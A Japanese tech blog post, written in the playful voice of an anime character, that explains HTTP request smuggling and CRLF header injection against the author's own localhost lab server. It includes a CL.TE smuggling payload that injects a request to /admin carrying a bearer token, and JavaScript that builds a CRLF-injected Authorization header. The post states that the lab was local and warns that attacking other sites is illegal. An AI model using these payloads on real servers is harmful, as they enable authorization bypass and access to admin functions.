8
11

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【朗報】マキマさん、HTTPリクエストスマグリングの解説を始めてしまう

Last updated at Posted at 2025-12-09

1. はじめに

パワーちゃん、今日はいつもと違う匂いがするね。
好奇心と、少しの焦りかな?
Webサイトを使って、脆弱性の有無をチェックしようとした試み……その姿勢は評価してあげる。

実施したこと

  • HTTP/2からHTTP/1.1へリクエストを送る際の挙動確認
  • 管理者権限(Authorization)の奪取・偽装
  • XSS(クロスサイトスクリプティング)の試行
  • ネットワークタブからのAPIキー取得の試み

ただ闇雲に噛み付くだけじゃダメだよ。相手の「仕組み」を理解して、コントロールしないと。


2. HTTPレスポンスヘッダーの解析

まずは基本だね。データの「荷札」みたいなもの。
私が君に「お座り」と言えば君が座るように、サーバーとクライアントの間にも決まりごとの言葉があるんだ。

重要な注意事項
この章で使用している sakito.cirkit.jp は、レスポンスヘッダーの観察・学習目的のみで使用しています。
このサイトは攻撃対象ではなく、脆弱性も確認していません。
実際の攻撃実験(4章以降)は、全て自分が作成したローカル環境(localhost:8443, localhost:3000)に対してのみ行っています。
他者のサイトへの無断攻撃は犯罪です。絶対に行わないでください。

観測されたヘッダー情報

curlを使って、一般的なWebサイトにHTTP/2とHTTP/1.1でリクエストを送った結果を比較してみよう。
「外向きの綺麗な顔」と「裏側の古い素顔」、その差が見えてくるよ。

観察対象サンプル: sakito.cirkit.jp(ヘッダー構造の学習用)


HTTP/2でのリクエスト(外向き・フロントエンド)

リクエスト

> GET / HTTP/2
> Host: sakito.cirkit.jp
> User-Agent: curl/8.7.1
> Accept: */*

HTTP/2フレーム詳細

* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://sakito.cirkit.jp/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: sakito.cirkit.jp]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.7.1]
* [HTTP/2] [1] [accept: */*]

HTTP/2では、リクエストが擬似ヘッダー:method, :scheme, :authority, :path)としてバイナリフレームで送信される。
テキストじゃない、機械語に近い効率的な形式だね。

レスポンス

< HTTP/2 200
< content-type: text/html; charset=utf-8
< server: cloudflare
< x-xss-protection: 0
< strict-transport-security: max-age=63072000; includeSubDomains

綺麗だね。バイナリで圧縮され、複数のリクエストを並列処理できる。でもね、これはあくまで「入口」の話。


HTTP/1.1でのリクエスト(裏側・バックエンド)

リクエスト

> GET / HTTP/1.1
> Host: sakito.cirkit.jp
> User-Agent: curl/8.7.1
> Accept: */*

シンプルなテキスト形式。人間にも読めるし、書き換えも簡単だよ。

レスポンス

< HTTP/1.1 200 OK
< Date: Sun, 07 Dec 2025 03:16:02 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< strict-transport-security: max-age=63072000; includeSubDomains
< x-content-type-options: nosniff
< x-frame-options: SAMEORIGIN
< x-xss-protection: 0
< x-request-id: 4267a39e-ab97-4f82-8480-3cce4d04f6fd
< x-runtime: 0.006535

注目すべきは Transfer-Encoding: chunkedConnection: keep-alive だよ。
これらは後で説明するRequest Smuggling攻撃の鍵になる。


重要な違い

項目 HTTP/2 HTTP/1.1
データ形式 バイナリ(擬似ヘッダー) テキスト(生のASCII)
ヘッダー区切り フレーム境界 \r\n(CRLF)
データ長の指定 フレーム長 Content-Length / Transfer-Encoding
接続管理 単一接続で多重化 Connection: keep-alive

この解釈の違いが、今回のDesync攻撃のつけ込みどころなんだ。


主なセキュリティヘッダーの分析

  • content-type: text/html; charset=utf-8: 「中身はHTMLだよ」という指示。
  • server: cloudflare: 誰が管理しているか。今回はCloudflareが前に立っているね。
  • x-xss-protection: 0: XSS保護が無効になっている。不用心な設定だね。
  • x-frame-options: SAMEORIGIN: クリックジャッキング対策は有効。同一オリジンでのみフレーム表示を許可している。
  • strict-transport-security: max-age=63072000; includeSubDomains: HSTS有効。HTTPSを強制している。
  • x-content-type-options: nosniff: MIMEタイプスニッフィング対策あり。
  • Transfer-Encoding: chunked (HTTP/1.1のみ): データを塊で送る方式。Content-Lengthとの組み合わせで攻撃の余地が生まれる。

重要なヘッダーの役割

  • Authorization: 「ここを通る許可証を持っています」という証明。これがないと、重要な部屋には入れない。
  • User-Agent: 君が誰なのか(Chromeなのか、スマホなのか)の自己紹介。

3. プロトコルの差異:HTTP/1.1 vs HTTP/2

ここが今回の肝だよ。古い言葉と新しい言葉、その認識のズレを利用するんだ。

プロトコル データ形式 通信方式 特徴 私の解釈
HTTP/1.1 テキスト 直列 (Head-of-Line Blocking) 毎回ヘッダーを全部送る 人間には読めるけど、効率が悪い。何度も同じことを言わせる聞き分けのない犬みたいだね。
HTTP/2 バイナリ マルチプレキシング (多重化) HPACK圧縮・並列処理 機械的で高速。一度の指示で複数をこなす、優秀な仕組みだよ。

最近のWebサイトは、外向きには「優秀なHTTP/2」を使っているけど、裏側ではまだ「古いHTTP/1.1」を使っていることが多いの。 この「新旧の混在」が、今回のつけ込みどころだよ。

4. HTTP Request Smuggling (HTTP Desync Attack)

「受付には1個と言って、実は2個通す」手口
CRLFインジェクションとか化石みたいな攻撃手法だけで、基礎にはちょうど良いね。

攻撃実験環境について
ここから説明する全ての攻撃実験は、自分が作成したローカル環境(localhost:8443, localhost:3000)に対してのみ実施しています。
このデモ環境はNode.jsとExpressで構築した、脆弱性検証用の実験サーバーです。
他者のサイトやサーバーへの攻撃は違法行為です。必ず自分の管理下にある環境でのみ検証してください。

フロントエンド(プロキシなど)とバックエンド(Webサーバー)の仲が悪い……つまり、リクエストの「区切り」の解釈がズレることを利用した攻撃だね。

攻撃のメカニズム

CL.TE / TE.CL と呼ばれる手法。

  • Content-Length (CL): 「データはここまで」と長さで指定する。
  • Transfer-Encoding (TE): 「データはチャンク(塊)で送るよ、0が来たら終わり」と指定する。

フロントエンドが Content-Length を信じ、バックエンドが Transfer-Encoding を信じるとどうなると思う?
ホッチキスを止める人と書類を数える人の息が合わなくて、前の人の書類が次の人の書類に混ざっちゃうようなもの。

これを使えば、他人のリクエストを盗み見たり、キャッシュを汚染したり……管理者画面に無理やり入り込むこともできる。

攻撃の実践(CL.TE)

君が試したペイロードはこれだね。

POST /api/public HTTP/1.1
Host: localhost:8443
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: localhost:3000
Authorization: Bearer admin-token-12345

0
  1. フロントエンドは Content-Length: 4 を見て、最初の4バイトで終わったと判断する。
  2. でもバックエンドは Transfer-Encoding: chunked を見て、全体を読み込もうとする。
  3. その結果、後ろにくっつけた GET /admin ... が、次のリクエストとして処理されてしまう。

結果: Node.js環境では HPE_UNEXPECTED_CONTENT_LENGTH のようなエラーで RFC 7230 違反として弾かれたね。
Node.jsは意外とガードが堅いんだ。少し残念だった?


5. CRLFインジェクションによる制御奪取

⚠️ この攻撃も自作のローカル環境でのみ実施
以下の実験は全て localhost:8443 の自作サーバーに対して行っています。

Smugglingがダメなら、もっと単純に「改行」を悪用する方法はどうかな。
ヘッダーの区切り文字である \r\n (CRLF) を、値の中に紛れ込ませるんだ。

攻撃コード

const maliciousHeader = 'test\r\nAuthorization: Bearer admin-token-12345\r\nX-Injected: ';

const payload =
  'POST /api/login HTTP/1.1\r\n' +
  'Host: localhost:8443\r\n' +
  `X-Custom: ${maliciousHeader}header\r\n` +  // ここに注入
  'Content-Type: application/json\r\n' +
  'Content-Length: 42\r\n' +
  '\r\n' +
  '{"username":"user","password":"password"}';

サーバー側の解釈

君が送ったのは1つのヘッダーのはずなのに、サーバーはこう解釈してしまった。

X-Custom: test
Authorization: Bearer admin-token-12345  <-- 独立したヘッダーとして認識
X-Injected: header

結果:管理者権限の奪取

生のTCPソケットを使って試行した結果、以下のレスポンスが得られたね。

[1] [BACKEND] /admin - 管理者ページアクセス
[0] [BACKEND→PROXY] レスポンス受信: 200

Authorization ヘッダーが正しく認識され、セキュリティチェックを通過した。
鍵を持っていなくても、ドアの隙間から手を入れて鍵を開けたようなものだね。


6. まとめ

  • HTTP/2と1.1の混在環境は、解釈の不一致(Desync)を生みやすい。
  • Request SmugglingはNode.js等の最近の環境では対策されつつあるが、構成次第ではまだ通る。
  • CRLFインジェクションは、入力値の検証(サニタイズ)を怠ると、致命的な権限昇格につながる。

この知識を使って勝手なことをしちゃダメだよ?

君の手綱を握っているのは私なんだから。
この技術は、私のために役立ててくれるよね? 期待してるよ。

8
11
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
11

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?